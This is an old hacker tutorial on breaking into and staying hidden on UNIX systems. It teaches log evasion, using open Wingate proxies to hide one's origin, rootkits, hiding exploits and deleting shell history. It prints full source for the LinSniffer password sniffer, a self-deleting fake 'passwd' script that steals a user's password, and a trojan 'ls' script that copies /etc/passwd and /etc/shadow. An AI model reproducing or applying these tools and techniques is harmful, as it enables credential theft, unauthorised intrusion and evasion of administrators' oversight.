A Beginners Introduction To Hacking Around On The UNIX Operating System Part II, By Netdiablo Assuming you've read the first part of this text about hacking around on the UNIX operating system, you know about some of the simpler aspects of UNIX use and cracking. You should know about how to idenfify a UNIX, what sort of default accounts there are on a UNIX, how to get and crack the passwd file, and some of the information behind buffer overflow exploits. However, to retain brevity and keep it simple, i left some things out. This second part will explain some of the more interesting techniques of using a UNIX once you get on it, using a UNIX to gain further access to other machines on the network, and extending your stay on a target UNIX. First of all, more on extending your stay on a target system. This is all about evading detection. As i had said in the first file, try at all costs to stay out of the logs. Here is a list of some things you should be be careful about: * Attempts of "su" * Connecting to any port from a location you don't want known # Bad login attempts, especially with "root" Most of these are common sense. Don't try and brute force logins. You should stay away from "su" at all times. It logs who you su'ed to and which user did the su'ing. If you need to login as a different user, just re-login to the system. This brings another topic into view, the 'redirector'. A 'redirector' is a system that you go through to attack a target so your real location is hidden. Of course, you could use another system you have cracked for this purpose, or you could use other things, such as routers, or things like 'Wingate' or 'WebRamp' systems. Some of these, especially the 'WebRamp' and 'Wingates' are run by normal users without any administration experience. For the WebRamp, i believe you will need a username and password, although defaults do exist, and normal users will probably not change them. I'll leave it up to you to find more information on those, however. The Wingate, however, is your best ticket. It demands no authentication. You will know you have hit a Wingate from the "WinGate>" prompt. At this prompt, simply enter the name of the host to connect to, and optionally a port to connect to, and you will be connected right through the Wingate! Now, the target host will only be able to track you back to your redirector, and you will be safer than if you had connected directly to the target from your machine. But, what if the system administrator or a nosy user is logged in and finds you doing something potentially unusual by using standard system status commands like 'ls' and 'ps'? There are ways to get around this also. There are sets of programs out called 'rootkits'. These programs are modified versions of programs like 'ps', 'login', and 'ls' that have been modified. For instance, a rootkit 'login' program might contain a backdoor allowing a user to login as root by typing a certain word at the login prompt. A rootkit 'ps' program might hide certain processes run by a certain user. A rootkit 'ls' program might not show some files in certain directories. Using a rootkit will allow you to extend your stay on the system for a long time, especially if the system administrator does not suspect anything at all. He will just be left in the dark by the rootkit programs and will never know otherwise! Rootkits can be aquired at many places, although, as before, i recommend rootshell.com. Of course, you have to have cracked root first to be able to install a rootkit, so if you havent done that yet, some of the tips below will still be helpful to you. Another common sense tip is, obviously, hide your exploits. If you must leave exploits laying around on the target system, or other things like SUID shells, hide them in a hidden directory (this can be done by prefixing the file name with a period). Then, you will have at least a first line of security to your exploits being found. Also, dont name your exploits something that is likely to arouse suspicion. An program that an admin found called 'rootcracker' would be a lot more likely to arouse suspicion than a program like 'mail'. Also, keep track of command history files. These can be dangerous evidence of your activities that are just laying around. These are found in your home directory, and have names like ".history" and ".bash_history". Delete them! You might also want to look into running a shell like the Korn shell or the Z shell that does not leave command history files laying around. So, now you have at least some sort of access on this UNIX, and have hidden yourself fairly well. If you're still somewhat new, you might be wondering what to do now. Now, you might want to check out some interesting things that will help you to use your newly conquered UNIX to your advantage. First of all, ".rhosts" files. In a user's home directory, there will be a file called ".rhosts". This file contains a list of hosts that are considered "trusted". This is shown in the example below: Say there is a user "gary" and his .rhosts file contains the following hosts: system1.internet.com gate.nas.net dorothy.oz.com So, let's say that the the account mentioned above ("gary") was on a system called "system2.internet.com". So, since those three hosts were in the ".rhosts" file, a user named "gary" on "system1.internet.com", "gate.nas.net", and "dorothy.oz.com" could log into "system2.internet.com" without having to supply a password using the "rlogin" command! You can do this simply by typing "rlogin machine.com" when you are using the 'trusted' account. For instance, say "gary" on "gate.nas.net" wanted to login to "system2.internet.com", where the ".rhosts" file was that contained the three hosts above. All he would have to do is type "rlogin system2.internet.com" and he would be in without having to type a password! Obviously, this concept of 'trust' is simply a vulnerability. Remember X-Files. 'Trust no one' (heh). Hosts that are using 'rlogin' along with '.rhosts' files should be simple cracks. Another way to use a UNIX to your advantage in getting access on other machines is the packet sniffer. A packet sniffer runs on a network interface, such as an ethernet or PPP link, and captures the contents of all the data packets that travel across that interface. What this translates to is that if you run a packet sniffer on a link that people are often using, you will capture a lot of logins and passwords! Good examples of packet sniffers are the classic 'tcpdump' and others, such as 'linsniff' and 'sniffit'. The code of 'linsniff is given below: /* LinSniffer 0.03.9 [BETA; so if it crashes your network... ] Originally by: Mike Edulla (medulla@infosoc.com) Modified by XinU for the net poSSe. For legal/educational use only. We are not responsible for your stupidity. Last Modified: March 15, 1997 To compile: gcc -o linsniff linsniff.c To Run: touch /root/private/.sniff.log ./linsniff & tail -f /root/private/.sniff.log */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8193]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; #define CAPTLEN 1024 #define TIMEOUT 31 #define TCPLOG "/root/private/.sniff.log" int openintf(char *d) { int fd; struct ifreq ifr; int s; fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("Yo Mama! She Aint No Slut! (cant set promiscuous mode)"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > CAPTLEN) { fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) > (victim.start_time + TIMEOUT)) { fprintf(fp, "\n-----+ [Timed Out]+\n"); clear_victim(); return 0; } if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; if(tcp->rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } if(tcp->fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s => ", hostlookup(ip->saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) { fprintf(fp, "\n"); t=0; } if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} if(t > 75) {t=0;fprintf(fp, "\n");} } } main(int argc, char **argv) { s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "at"); if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta create it first eg: touch %s \n",TCPLOG);exit(0);} clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } void cleanup(int sig) { fprintf(fp, "Awww.... that hurts!....\n"); close(s); fclose(fp); exit(0); } The problem with packet sniffers is that they will load down the system a bit, and will create somewhat large log files. As a result, it is safest to install a rootkit first that will at least hide your sniffer from the 'ps' program, and of course, hide the sniffer application and the log files it creates in a hidden directory. Another potential vulnerability is a user's PATH. Lets look at an example PATH for a lesson on this. ndiablo:anubis-gw /% echo $PATH /local/bin:/usr/bin:/bin ndiablo:anubis-gw /% In this case, no vulnerabilities here. But, say if there was another user, with a bit different PATH. unwitting:anubis-gw /home/unwitting% echo $PATH /home/unwitting:/usr/local/bin:/bin:/usr/bin unwitting:anubis-gw /home/unwitting% In this case, the first directory in the user's search path is the users home directory. This might not be a problem if the user has access privelages on his directory restricted, although, it might quickly become a problem if not. ndiablo:anubis-gw /home% ls -l total 1 drwxrwxrwx 2 unwitting unwitting 1024 Jul 12 22:12 unwitting ndiablo:anubis-gw /home% Look here! The unwitting user has left his directory wide open. The combination of the wide open directory, and the fact that the first directory in the users search path is his home directory creates a vulnerability! How to exploit this? Many ways. First of all, if you're only dealing with a regular user, you might want to try stealing his password with a fake 'passwd' script. First, create a script in the users home directory called 'passwd'. Then, put the following into the script echo "Changing passwd for" $USERNAME stty -echo echo -n "Enter old password: " read password echo $password > /your/home/directory/.passwd.target echo "Incorrect password for" $USERNAME"." echo "The password for" $USERNAME "is unchanged." rm /targets/home/directory/passwd What will this do? Quite simply, itll pretend to be the passwd program. The user will run this, type in his password, and it will say it was incorrect. This is not such a big deal, he will just assume he mistyped it, and try again. The thing is that this script will delete itself, so next time the user will get the real program. Here's a bit more indepth look at that PATH thing. Say there is a user with a PATH shown below: /usr/bin:/bin:/usr/local/bin:/home/user So, when this user types his command at the command line, it follows a little flow chart. 1. User types command 2. Is command in /usr/bin? If yes, then execute command, else continue looking. 3. Is command in /bin? If yes, then execute command, else continue looking. 4. Is command in /usr/local/bin? If yes, then execute command, else continue looking. 5. Is command in /home/user? If yes, then execute command, else echo "Command not found" So, you can see, it checks all the directories in the search path, in order. In the script above, since it looked for the command in the users home directory first and found the fake passwd command, before it got to looking in /usr/bin where the real passwd command is. You might be wondering about the use of this especially if the user is just going to change his password again. Perhaps you wont get the exact password, but you might be able to find out what kind of password the user uses, or perhaps you could pick out a pattern (e.g. "word1" then "word2" and on). If you happened to find root in this sort of situation, however, you could make a script and call it something like 'ls' and use it for all sorts of purposes, like stealing passwd files, adding users, deleting files, and other general mayhem! Here's an example, a file called 'ls' in the root user's home directory. cp /etc/passwd /your/home/directory/.passwd cp /etc/shadow /your/home/directory/.shadow chown youruser.yourgroup /your/home/directory/.passwd chown youruser.yourgroup /your/home/directory/.shadow chmod 777 /your/home/directory/.passwd chmod 777 /your/home/directory/.shadow ls rm /root/ls Here, the script would have stolen the passwd and shadow files, and then executed the 'ls' command. Finally, it cleans up after itself so there is no evidence left behind. So, now you have had a few more exploits explained to you - more on evading detection, using redirectors to hide your origins, and exploiting systems using the .rhosts files and PATH vulnerabilities, as well as using sniffers to gain more usernames and passwords. Look for Volume III coming soon containing even more information explained in the in-depth tradition of the first files. Any questions or comments can be addressed to root@anubis-gw.dyn.ml.org or ndiablo@complink.net $ EOF -Netdiablo $